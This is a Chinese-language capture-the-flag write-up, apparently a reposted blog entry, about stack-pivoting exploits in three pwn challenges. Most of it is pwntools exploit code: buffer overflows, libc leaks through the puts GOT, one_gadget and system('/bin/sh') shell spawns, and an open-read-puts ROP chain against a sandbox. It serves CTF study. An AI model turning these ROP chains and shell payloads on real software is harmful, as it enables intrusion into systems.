leave == mov esp,ebp; pop ebp;
ret == pop eip #弹出栈顶数据给eip寄存器
‘
最近碰到了很多栈迁移的题目,之前整理的写得不太好
借此机会重新整一下
alittle
bss6 = 0x601000+0x600
pl = b'a'*0x20+p64(bss6)+p64(read) #rbp=bss6 -> rax=bss6+(-0x20)
p.send(pl)
但read后会往后执行会走向结束,rsp并没有被我们所控制,所以我们还不能控制程序流
回头看一下leave处 mov esp,ebp; pop ebp;
,应该是leave前0x60
1600未能放入rbp导致的
再构造一次read,并调整rsp
pl = b'a'*0x20+p64(bss6+0x20)+p64(read) #2
p.send(pl)
这里bss6所加的就是buf的偏移
rsp调试正常后,那么我们下一次则可以进行rop链构造
#puts(puts_got)
pl = p64(bss6+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
bss6+0x20
基础上再加0x10(固定模板)
pl = b'a'*0x20+p64(bss6+0x40)+p64(read) #4
蚌埠住了,栈平衡真的好玄学,sys调了好久都不行,换og一把出了
r12 = 0x000000000002f709+libc_base
og = libc_base + 0xe3afe
pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
p.send(pl)
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
alittle-up
相较前一题加了个沙盒
exp:
bss = 0x601060 -0x60 +0x400
li(hex(bss))
main = 0x400790
read = 0x4007B1
rdi = 0x400833
ret = 0x040053e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
p.recv(0x13)
pl = b'a'*0x100+p64(bss)+p64(read) #1
p.send(pl)
pl = b'a'*0x100+p64(bss+0x100)+p64(read) #2
p.send(pl)
pl = p64(bss+0x110)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
p.send(pl)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
li(hex(libc_base))
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
pl = b'a'*0x100+p64(bss+0x120)+p64(read) #4
p.send(pl)
rsi_r15 = 0x400831
pl = p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x601200)+p64(0x40)+p64(read_addr)+p64(main) #5
p.send(pl)
pause()
p.send('flag')
p.recv()
pl = b'a'*0x100+p64(bss+0x300)+p64(read) #6
p.send(pl)
pl = b'a'*0x100+p64(bss+0x400)+p64(read) #7
p.send(pl)
syscall = libc_base + libc.sym['syscall']
pl = p64(0)+p64(rdi)+p64(2)+p64(rsi_r15)+p64(0x601200)+p64(0)+p64(syscall)
pl += p64(rdi)+p64(3)+p64(rsi_r15)+p64(0x601200)+p64(0x100)+p64(read_addr)
pl += p64(rdi)+p64(0x601200)+p64(puts_addr)+p64(main) #8
#dbg()
p.send(pl)
pl 1、2正常起手,pl 3来获取libc地址
pl = b'a'*0x100+p64(bss)+p64(read) #1
p.send(pl)
pl = b'a'*0x100+p64(bss+0x100)+p64(read) #2
p.send(pl)
read()
文件描述符:0标准输入,1标准输出,2标准报错,3、4、5 .. 第一、二、三 …个文件
ORP和ORW:
puts更方便,只需要一个参数,而write需要多次传参
但puts遇到’x00’停止,有些ex的flag可能会故意带上’\x00′
将flag读入bss段
pl = p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi_r15)+p64(0x601200)+p64(0x40)+p64(read_addr)+p64(main)
dbg()
p.send(pl)
pause()
p.send('flag')
pl 6、7再次构造,并调整rsp
pl = b'a'*0x100+p64(bss+0x300)+p64(read)
p.send(pl)
pl = b'a'*0x100+p64(bss+0x400)+p64(read)
p.send(pl)
pl 8 ORP送入
syscall = libc_base + libc.sym['syscall']
pl = p64(0)+p64(rdi)+p64(2)+p64(rsi_r15)+p64(0x601200)+p64(0)+p64(syscall)
pl += p64(rdi)+p64(3)+p64(rsi_r15)+p64(0x601200)+p64(0x100)+p64(read_addr)
pl += p64(rdi)+p64(0x601200)+p64(puts_addr)+p64(main)
#dbg()
p.send(pl)
move your heart
首先伪随机数很好获取,绕过后到back(),获取了stack地址
sla('num:\n','286129175')
ru('gift:')
stack = int(p.recv(14),16)
li(hex(stack))
首先第一点就是back()里的read就是向stack地址输入的
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret)
dbg()
p.sendline(pl)
直接栈迁移到pl的前一栈帧处,然后执行
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
rdi = 0x00000000004013d3
leave_ret = 0x00000000004012d6
sla('num:\n','286129175')
ru('gift:')
stack = int(p.recv(14),16)
li(hex(stack))
main = 0x4012D8
back = 0x40129B
read = 0x4012BA
system = 0x4010D4
pl = p64(rdi) + p64(stack+0x18) + p64(system) + b'/bin/sh\x00' + p64(stack-0x8) + p64(leave_ret)
dbg()
p.sendline(pl)
og模板解法:
两次leave_ret,构造read(0,stack-0x20,0x30),重复的第二次是为了调整rsp,控制程序流
pl = b'a'*0x20+p64(stack)+p64(read) #1
p.send(pl)
pl = b'a'*0x20+p64(stack+0x20)+p64(read) #2
p.send(pl)
接下来构造一次正常的rop链泄露libc
pl = p64(stack+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
p.send(pl)
p.recv()
#libc_base = uu64(r(14))-libc.sym['puts']
libc_base = uu64(r(14))-0xa000000000000 -libc.sym['puts']
li(hex(libc_base))
system= libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
这里选择再跳转到main函数,接收到新的stack地址
sla('num:\n','286129175')
p.recvuntil('Success!!!\n')
ru('gift:')
stack0 = int(p.recv(14),16)
重复刚才的1、2的步骤
pl = b'a'*0x20+p64(stack0)+p64(read) #4
p.send(pl)
pl = b'a'*0x20+p64(stack0+0x20)+p64(read) #5
p.send(pl)
将og送入,从而getshell
r12 = 0x000000000002f709+libc_base
og = libc_base + 0xe3afe
pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
#dbg()
p.send(pl)
og的模板exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"
name = './pwn'
debug = 0
if debug:
p = remote('node.yuzhian.com.cn',30686)
else:
p = process(name)
elf = ELF(name)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.terminal = ['gnome-terminal','-x','sh','-c']
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
def dbg():
gdb.attach(proc.pidof(p)[0])
pause()
bss6 = elf.bss() + 0x600
li('bss = '+hex(bss6))
ret = 0x000000000040101a
rdi = 0x00000000004013d3
leave_ret = 0x00000000004012d6
ret = 0x000000000040101a
sla('num:\n','286129175')
ru('gift:')
stack = int(p.recv(14),16)
li(hex(stack))
main = 0x4012D8
back = 0x40129B
read = 0x4012BA
sys = 0x4010D4
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pl = b'a'*0x20+p64(stack)+p64(read) #1
p.send(pl)
pl = b'a'*0x20+p64(stack+0x20)+p64(read) #2
p.send(pl)
'''
pl = p64(bss6+0x20+0x10)+p64(ret)+p64(rdi)+b"/bin/sh"+p64(sys)
'''
pl = p64(stack+0x20+0x10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #3
p.send(pl)
p.recv()
#libc_base = uu64(r(14))-libc.sym['puts']
libc_base = uu64(r(14))-0xa000000000000 -libc.sym['puts']
li(hex(libc_base))
system= libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
sla('num:\n','286129175')
p.recvuntil('Success!!!\n')
ru('gift:')
stack0 = int(p.recv(14),16)
pl = b'a'*0x20+p64(stack0)+p64(read) #4
p.send(pl)
pl = b'a'*0x20+p64(stack0+0x20)+p64(read) #5
p.send(pl)
r12 = 0x000000000002f709+libc_base
og = libc_base + 0xe3afe
pl = p64(0) + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5
#dbg()
p.send(pl)
itr()
直接套模板写下的脚本很生,不仅复杂还麻烦
猫直接一句payload就很巧妙地getshell了
还是练的少呀~
原文地址:http://www.cnblogs.com/shuzM/p/16916479.html